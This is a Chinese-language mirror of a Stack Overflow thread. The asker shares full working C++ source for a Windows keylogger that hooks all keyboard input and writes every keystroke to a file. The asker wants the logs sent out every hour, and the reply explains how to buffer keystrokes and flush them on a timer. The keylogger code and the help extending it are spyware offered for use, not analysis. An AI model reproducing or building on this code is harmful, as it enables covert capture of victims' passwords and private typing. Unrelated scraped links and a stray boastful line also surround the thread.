作者热门文章
- html - 出于某种原因,IE8 对我的 Sass 文件中继承的 html5 CSS 不友好?
- JMeter 在响应断言中使用 span 标签的问题
- html - 在 :hover and :active? 上具有不同效果的 CSS 动画
- html - 相对于居中的 html 内容固定的 CSS 重复背景?
我该怎么做才能在这个键盘记录器中设置一个计时器,以便它每小时发送一次日志?我在循环中尝试了 Sleep()
函数,但它们似乎不起作用。我想到了使用多线程,但我认为必须有更高效的方法。
#define _WIN32_WINNT 0x0500
#include<fstream>
#include<windows.h>
#include<iostream>
//globals
using namespace std;
ofstream out("keys.txt", ios::out);
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
// If key is being pressed
if (wParam == WM_KEYDOWN) {
switch (p->vkCode) {
// Invisible keys
case VK_LCONTROL: out << "<LCTRL>"; break;
case VK_RCONTROL: out << "<RCTRL>"; break;
case VK_INSERT: out << "<INSERT>"; break;
case VK_END: out << "<END>"; break;
case VK_PRINT: out << "<PRINT>"; break;
case VK_DELETE: out << "<DEL>"; break;
case VK_BACK: out << "<BK>"; break;
case VK_LEFT: out << "<LEFT>"; break;
case VK_RIGHT: out << "<RIGHT>"; break;
case VK_UP: out << "<UP>"; break;
case VK_DOWN: out << "<dDOWN>"; break;
case VK_RETURN: out << "<ENTER>\n"; break;
//add special keys like semicolons
// Visible keys
default:
if (GetKeyState(VK_CAPITAL) && GetAsyncKeyState(VK_SHIFT)) //this should be on top to detect simultanous input first
out << char(tolower(p->vkCode));
else if (GetKeyState(VK_CAPITAL)||GetAsyncKeyState(VK_SHIFT))
out << char(toupper(p->vkCode));
//add capital version of sepecial keys
else
out << char(tolower(p->vkCode));
}
out.flush(); //to immediately flush to txt file
cout<<p<<endl;
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
// Set windows hook
HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL,keyboardHookProc,hInstance,0);
MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);
out.close();
return 0;
}
我正在使用 DEVC++
最佳答案
如果您只是想每隔一段时间发送一次日志,您可以轻松地进行检查以检测自上次日志更新以来已经过了多长时间!
简单方法
您需要在文件更新之间存储所有键盘记录。您可以轻松地将它们放入 vector .
所以不要用 out << blahblah
输出到你的文件使用 vectorname.push_back(blahblah)
将字符添加到 vector 中
您还需要一个计时变量。您可以使用 windows.h 函数 GetTickCount满足您所有的计时需求。
当您的键盘钩子(Hook)/回调(您拥有实际键盘记录代码的方法)被调用时,检查自您上次更新日志文件以来是否已经过了一个小时,如果已经过了一个小时或更长时间,更新它并设置您的计时变量 = GetTickCount。
希望对您有所帮助!
关于c++ - 如何将计时器添加到键盘记录器 C++,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/23165966/
我是一名优秀的程序员,十分优秀!